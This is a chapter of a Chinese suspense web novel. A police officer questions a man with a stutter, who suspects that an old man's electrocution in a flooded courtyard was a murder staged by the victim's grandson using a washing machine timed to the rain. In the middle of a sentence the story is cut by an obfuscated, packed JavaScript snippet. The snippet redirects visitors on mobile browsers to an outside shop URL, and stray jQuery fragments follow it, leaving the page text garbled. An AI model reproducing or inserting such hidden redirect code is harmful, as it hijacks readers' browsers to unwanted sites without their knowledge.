文趣网 > 都市小说 > 今日难越[悬疑] > 67. 第 67 章
    七天前,临江公安的审讯室里,雷梁环顾四周,向来木然的脸上多了点灵动的好奇,让人这才想起他的年纪还不到三十,他看了一圈,最后定格到眼前的人身上:“桌子换、换了,其他的,也跟以前、前不一样了。”

    “之前来过?”丁胜男按下黑色签字笔的笔帽,她好说歹说,让局里开了个协作函,才借来了这个房间。

    “嗯,五——五年前,有个人发、发酒疯砸我的摊,我跟他打打打了一架,就来了。”雷梁脸上没什么表情。

    丁胜男有点不知道说什么才好,又多按了两下笔。

    临江虽说是小城市,可临江高中的高考成绩向来不错,年年都张贴大红榜单,蒋今越那班又是尖子生班,所以哪怕成绩最差的学生也都上了个211,现如今不说飞黄腾达,但再怎么说也不用为了生计而发愁,很多都回到临江当了老师或者公务员,跟雷梁相比,可以说是两个世界的人。

    “开始吧,我今晚晚晚还要早点回——去,浇地。”雷梁黑黢黢的脸上面色平静。

    “这个是你画的吗?”丁胜男先拿出了一张被十字折叠过的蜡笔画,正是之前易峥挂在家里的那幅。

    雷梁拿起那幅画:“原来是、是他,拿——拿走了啊。”

    雷梁说话很慢,但好在丁胜男有足够的耐心,只一会她就发现雷梁的表达能力其实很强,或许是迟缓的语速让他有了更多的思考时间,他的话语里逻辑周全,知道什么是重点,什么该略过,比很多说起话来颠三倒四的人强多了。

    但并不是所有人都像丁胜男这样,尤其是对于尚未理解什么是尊重和文明的小孩来说,他们对待周围总带着一种天真的残酷,雷梁自小就懂得这件事情。

    “这幅画里——确、确实有他。”雷梁低着头指向了画面的一角,“他就是隐——隐、隐藏在后面,欺负我的人。”

    既不是受难的主角,也不是拯救的骑士,他是施虐的恶魔。

    易峥和雷梁是邻居,家境也相仿,出于安全考虑,家里人常让他们结伴而行,当时尚且是个小孩的雷梁并未觉察自己的存在让易峥烦恼不堪——在学校里雷梁可是所有人都嘲笑的对象,怎么配当他的朋友。

    当时的雷梁生活在痛苦之中,结巴让他习惯了常年沉默,嘲笑又让他离群索居,他成了跟角落里苔藓差不多阴暗的怪人,光这也就算了,可不知道从哪里传出来他有小偷小摸的怪癖,再加上小学四年级时班费丢失后在他桌里发现,让他一下子坐实了偷窃的名声。没多久,学校里的混混打着“行侠仗义”的名头把他拉进了走廊尽头的小卫生间。

    他不知道事情为什么会发展到这种地步,他话也说不出来,只是低头、看书、画画。其实就算能说,他也不会说,他爸死的早,妈又起早贪黑地推着个卖早餐的小摊,他不能给他们添乱。也正是出于这种想法,他开始跟易峥保持距离。

    直到后来有一天,他才偶然知道班费丢了的那堂体育课上,班里只有易峥被喊走去了老师的办公室,甚至他还亲眼看到学校里的那些混混,也在篮球场上和他勾肩搭背。

    他好像知道了什么,可是就算他说出来了,所有事情都过了这么久了,无从查证的情况下,大家是会信任他,还是信任成绩优异、朋友众多的易峥?好在当时他的绘画天赋初步显露出来,让他的情绪有了一个出口,临江办了个中小学生绘画比赛,他就用这幅画拿了市里的一等奖。

    小学毕业后,他们上了不同的初中,脱离了原来的环境之后,雷梁可以全神贯注集中于学业之上,高中之后,他们都进了临江高中,但好在不在同一个班里,两人没什么交集,就在雷梁以为一切都在好起来的时候,母亲的一场大病彻底改变了他的人生方向。

    他当然也知道高考的重要性,试图在学业和母亲之间找到一个平衡,频繁请假在学校和医院来回奔波,也正如此,易峥爷爷死的那天,正好请假在家的他发现了一些常人难以觉察的细节。

    “第、第一个发现易爷爷尸体的人是花姨,就、就住在巷口。”按照丁胜男的要求,雷梁写下了对方的名字和住址,只不过按他的说法,这人好像早几年就被女儿接到了省城,现在不知所踪,“当时我、我们那些高中生中午都在学校,家里大人都、都出去打工了,她、她向来热心肠,就天天天天做饭给大家吃,收个菜钱。”

    花姨这名字当然不是真名,是棚户区大家给她的绰号,她年轻的时候精力旺盛,见人就笑,爱养花,长得一般身材矮胖却爱穿花衣裳,有人嘲弄她一天天花枝招展不干正事就这么叫了起来,到后来年纪大了,倒成了尊称,没人再知道背后的嘲弄意味。

    年纪大了,一切都变了,只有她那旺盛的精力依旧,退休后看着周围的老人没人照应,便想出了这个主意。她想,反正自己总归是要做饭的,能补贴下自己的买菜钱就行,没想到一来二去,这小饭桌的生意越来越红火,每天她一大早起床买菜,忙活到了中午十二点就开始挨家挨户送饭缸,易家那又聋又瘸的老头子就在其中。

    那天一大早就下起了大雨,来势汹汹,可来得快去的也快,等到中午的时候,天已经晴了,若不是地上还有水坑,倒是一点也看不出那场雨的痕迹。

    花姨在易家门口撑着伞喊了半天门都没开,想着易老爷子可能是还没起或者有事出去了,便先去了其他人的家,但等回来的时候,门还是紧锁的,她觉得不对,便从门缝里多看了一眼,没想到却隐约看到院子里有一个倒地的影子,把她吓得大叫起来。

    那时候雷梁正好路过,被花姨拽住要他帮忙,还好那铁门只是虚虚插了个门栓,并未从内部上锁,运气好的话,多晃几下铁门就能打开,花姨刚准备跟他一起动作,然而刚一碰门就被吓得大跳起来。

    “我天!这门怎么扎手。”

    雷梁一下子意识到了什么,拉开她:“别、别碰!有、有电!”

    雷梁跑回家找来了家里的绝缘手套又套上了雨靴才敢把门打开,一眼就看到了倒在水坑里的易老爷子,雷梁制止了要扑过去的花姨,立刻打了急救和报警电话,后来他才知道,在他们发现的时候,人就已经死亡一个多小时了。

    “死因是意外触电?”丁胜男拧了下眉,“哪里漏的电。”

    “洗、洗衣机。”雷梁对此印象深刻,因为去年有次路过易峥家时,他隔着敞开的大门看到院子里并没有那台洗衣机,“之前他们一直放在屋里,不知道、到为、为什么——挪了出来。”

    棚户区的房子原本就是自家修建的,住在那里的人都穷,房子质量自然一般,面积也不算大,无处可放的家具被迫塞在院子里,也是正常的事。家里插座不够,拉来一个插线板放在院子里也不奇怪,谁又能想到老花的插线板正好遇到雨天,渗水后让院子里的积水带了电,前去拿衣服的易老爷子一脚踩进水坑,就此身亡。在外打工的易强和张兰英连夜赶了回来把尸体火化,并办了一场轰轰烈烈的葬礼,这件事传开以后,棚户区里的人家家都引以为戒,谁都不敢在院子里放家电。

    “不过、丁警官,你——你觉得,这是意外吗?”雷梁深深地望着她,像是在出一道考题。丁胜男也调出了当时的出警记录,时隔多年,纸张都已经开始泛黄,但她看得出,雷梁的记忆跟纸上的内容基本上一致。

    在警方眼里,这只不过是一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790065|206490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    场自家用电不当的意外而已,对于连电视都不会开,也不认识字的易老爷子来说,正确地使用洗衣机实在是一种难事,出意外也是难免的。

    丁胜男摇了摇头:“这么说,是有些奇怪。死者腿部有伤,出行都倚靠着拐杖,雨天湿滑,一般情况下这种时间应该会避免出门才对。而且,死者文化水平不高可能不知道,但易峥的学习成绩很好,知道什么情况下会容易触电,应该会避免这么摆放家电才对。”

    “是的的,不过,你忘、忘了,还有一件最、最基本的事情。”雷梁盯着丁胜男摇了摇头,“你会在雨、雨天洗衣服吗”

    丁胜男瞬间为之一振。

    临江高中的上课时间是早上七点,也就是说,在易峥出门之前还没有下雨,他可以安然无恙地完成所有设置。这时候的洗衣机也成了天然的延时装置,等衣服洗完,雨已经开始下了,水也没过了插线板,易峥只需要叮嘱自己的爷爷在洗衣机停下后帮忙拿下衣服,他就会自动步履蹒跚地走进水里,像是一场意外。身在学校里的易峥有着完美的不在场证明。

    没人会想到那不是一场意外,就算有人这么想,却也全然找不到证据。哪怕有人质问易峥为什么要在那天洗衣服,他也可以完全理直气壮地说自己没看天气预报,不知道当天要下雨,甚至可以说是易老爷子自己操作的洗衣机,这都是无法确认的事情。

    当年尚且如此,现如今当然更是艰难,意识到这一点后的丁胜男再次皱起了眉,她顿了下:“当时你有告诉警方这些事情吗?”

    “丁、丁警官,你这是在怪我吗。”雷梁露出了个带着嘲弄的笑,“你不明白的,人、人的力量很弱小的,很多事,不管你做还、还是不做,都改变不了。”

    对于雷梁来说,他的一生都活在事与愿违里。他什么都没有做,却要因为口吃而痛苦,而他孜孜不倦、拼尽全力想考个好大学,却也同样没有得到一个好结果。像是蜉蝣撼树,这时候再去告诉他人定胜天的大道理,像是一种嘲笑,就好像在对他说,你过成现在这样,单纯是因为你不够努力。与其这样,还不如什么都不做了。

    “抱歉,我不是这个意思。”丁胜男躲过那双沉郁的眼睛,“今天就到这里结束了,谢谢你的配合。”

    距离对雷梁的问询,已经过去了一周了。她们这一周依旧没有发现任何具有决定性的证据,就像过去一样。丁胜男这才答应让蒋今越与易峥见面,站在单向的玻璃后面,她安静地听着两人对话。

    “你问我那天为什么要洗衣服?我记得洗的好像是我的校服,前一天不小心弄脏了,第二天还要穿,不管天气怎么样,也只能洗了。天气预报吗?我记不清我看没看了,不过我记得那天下午是个大晴天吧,可能是因为雨会结束得很快,所以我没在意。”

    “那时候高三,书多,为了方便我学习,家里添了个书柜,我爷爷主动把东西挪出去的。今越,爷爷死后我才是那个最伤心的人,我承认我是有错,我应该注意会不会漏电的,可那跟杀人可没有关系。”

    真是诡异,就好像眼睛明明看到了一堵墙,可伸手去摸的时候却发现触感比棉花还软。易峥的说法天衣无缝,好像所有事情都跟他毫无关联,可丁胜男的直觉告诉她,就是这个人。

    易老爷子、蒋国良、甄远……甚至未遂的蒋今越,易峥仿佛天生习得了害人的办法,每一步都如此缜密周全,将自己从案件中安然摘出,甚至在蒋今越的质问中也毫无破绽。

    最终,蒋今越还是站了起来。她看了眼自己背后那扇灰色的玻璃墙,她知道丁胜男就在后面,两个人隔着玻璃注视着彼此,可谁也不知道下一步该怎么办。